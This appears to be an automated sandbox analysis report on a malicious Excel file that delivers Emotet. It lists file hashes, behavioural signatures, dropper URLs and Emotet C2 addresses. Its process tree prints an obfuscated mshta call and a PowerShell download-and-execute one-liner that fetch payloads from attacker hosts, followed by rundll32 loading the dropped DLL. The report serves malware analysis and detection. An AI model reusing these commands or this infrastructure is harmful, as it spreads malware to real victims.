Analysis

  • max time kernel
    133s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    19-01-2022 23:50

General

  • Target

    4c047ff42c8f500cad96e6f884ba0d25.xls

  • Size

    141KB

  • MD5

    4c047ff42c8f500cad96e6f884ba0d25

  • SHA1

    5654f7e7f9ba6fa83e372bb1eeafd6f446fd78df

  • SHA256

    9d1fb84bbcd977c6ff6a873b6485cf44af7d6562fa046b0b751dd1f6bfb2d31a

  • SHA512

    eef6aad4076f7698baa848cf32cff46a08125b9e8d06bdb8c3eaa8e886f3da22f3b56096abf16e9c09f34c5bfb43fb0f406aaab96c733574cd0de203716f6ce4

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4c047ff42c8f500cad96e6f884ba0d25.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:116
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3116
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3544
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:568
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2324
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:3012
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bkopkncv\dxvpmvay.rkt",EnqYXcXi
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:2452
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bkopkncv\dxvpmvay.rkt",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2056
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 3116 -s 1728
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3756
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:3584
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe 4fd802e7119f7e35d9e9554d25f7c904 GkRAjjGHM0u+QhwM/RuLEA.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:2864
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:3448
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 436 -p 3116 -ip 3116
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:2280
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalService
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2632
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalService
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3752
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k wusvcs -p
          1⤵
            PID:3220

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Public\Documents\ssd.dll

            MD5

            17f754c0776b7984919b9c1c79f8e35b

            SHA1

            88fd90c8d4d73658d26d0d564c322f6ddc614216

            SHA256

            194504260ed20b0959d4890b5e953ec2cdf58af884b4ee8825e5097b32228514

            SHA512

            132fb45f98e265f38c5dd8019b37454076147b0e21bda81d0fbca650bc0bcfaa7970295a63a13ba1956a21cfed25f7e0b38e6807badc1dbaaaf3e086577000ea

          • C:\Users\Public\Documents\ssd.dll

            MD5

            17f754c0776b7984919b9c1c79f8e35b

            SHA1

            88fd90c8d4d73658d26d0d564c322f6ddc614216

            SHA256

            194504260ed20b0959d4890b5e953ec2cdf58af884b4ee8825e5097b32228514

            SHA512

            132fb45f98e265f38c5dd8019b37454076147b0e21bda81d0fbca650bc0bcfaa7970295a63a13ba1956a21cfed25f7e0b38e6807badc1dbaaaf3e086577000ea

          • C:\Users\Public\Documents\ssd.dll

            MD5

            17f754c0776b7984919b9c1c79f8e35b

            SHA1

            88fd90c8d4d73658d26d0d564c322f6ddc614216

            SHA256

            194504260ed20b0959d4890b5e953ec2cdf58af884b4ee8825e5097b32228514

            SHA512

            132fb45f98e265f38c5dd8019b37454076147b0e21bda81d0fbca650bc0bcfaa7970295a63a13ba1956a21cfed25f7e0b38e6807badc1dbaaaf3e086577000ea

          • C:\Windows\SysWOW64\Bkopkncv\dxvpmvay.rkt

            MD5

            17f754c0776b7984919b9c1c79f8e35b

            SHA1

            88fd90c8d4d73658d26d0d564c322f6ddc614216

            SHA256

            194504260ed20b0959d4890b5e953ec2cdf58af884b4ee8825e5097b32228514

            SHA512

            132fb45f98e265f38c5dd8019b37454076147b0e21bda81d0fbca650bc0bcfaa7970295a63a13ba1956a21cfed25f7e0b38e6807badc1dbaaaf3e086577000ea

          • C:\Windows\SysWOW64\Bkopkncv\dxvpmvay.rkt

            MD5

            17f754c0776b7984919b9c1c79f8e35b

            SHA1

            88fd90c8d4d73658d26d0d564c322f6ddc614216

            SHA256

            194504260ed20b0959d4890b5e953ec2cdf58af884b4ee8825e5097b32228514

            SHA512

            132fb45f98e265f38c5dd8019b37454076147b0e21bda81d0fbca650bc0bcfaa7970295a63a13ba1956a21cfed25f7e0b38e6807badc1dbaaaf3e086577000ea

          • memory/2056-595-0x0000000005440000-0x0000000005466000-memory.dmp

            Filesize

            152KB

          • memory/2056-589-0x00000000051F0000-0x0000000005216000-memory.dmp

            Filesize

            152KB

          • memory/2056-591-0x0000000005250000-0x0000000005276000-memory.dmp

            Filesize

            152KB

          • memory/2056-593-0x0000000005330000-0x0000000005356000-memory.dmp

            Filesize

            152KB

          • memory/2056-599-0x0000000005620000-0x0000000005646000-memory.dmp

            Filesize

            152KB

          • memory/2056-597-0x0000000005540000-0x0000000005566000-memory.dmp

            Filesize

            152KB

          • memory/2324-565-0x0000000004520000-0x0000000004546000-memory.dmp

            Filesize

            152KB

          • memory/2452-582-0x0000000004920000-0x0000000004946000-memory.dmp

            Filesize

            152KB

          • memory/2516-619-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-136-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-135-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-132-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-139-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

            Filesize

            64KB

          • memory/2516-134-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-140-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

            Filesize

            64KB

          • memory/2516-620-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-133-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-621-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/2516-622-0x00007FF916630000-0x00007FF916640000-memory.dmp

            Filesize

            64KB

          • memory/3012-568-0x0000000004460000-0x0000000004486000-memory.dmp

            Filesize

            152KB

          • memory/3012-580-0x0000000004F30000-0x0000000004F56000-memory.dmp

            Filesize

            152KB

          • memory/3012-577-0x0000000004DB0000-0x0000000004DD6000-memory.dmp

            Filesize

            152KB

          • memory/3012-575-0x0000000004D50000-0x0000000004D76000-memory.dmp

            Filesize

            152KB

          • memory/3012-573-0x0000000004C50000-0x0000000004C76000-memory.dmp

            Filesize

            152KB

          • memory/3544-570-0x00000195362F0000-0x0000019536366000-memory.dmp

            Filesize

            472KB

          • memory/3544-552-0x000001951DB86000-0x000001951DB88000-memory.dmp

            Filesize

            8KB

          • memory/3544-551-0x0000019536220000-0x0000019536264000-memory.dmp

            Filesize

            272KB

          • memory/3544-548-0x000001951DB83000-0x000001951DB85000-memory.dmp

            Filesize

            8KB

          • memory/3544-547-0x000001951DB80000-0x000001951DB82000-memory.dmp

            Filesize

            8KB

          • memory/3544-546-0x0000019535D10000-0x0000019535D32000-memory.dmp

            Filesize

            136KB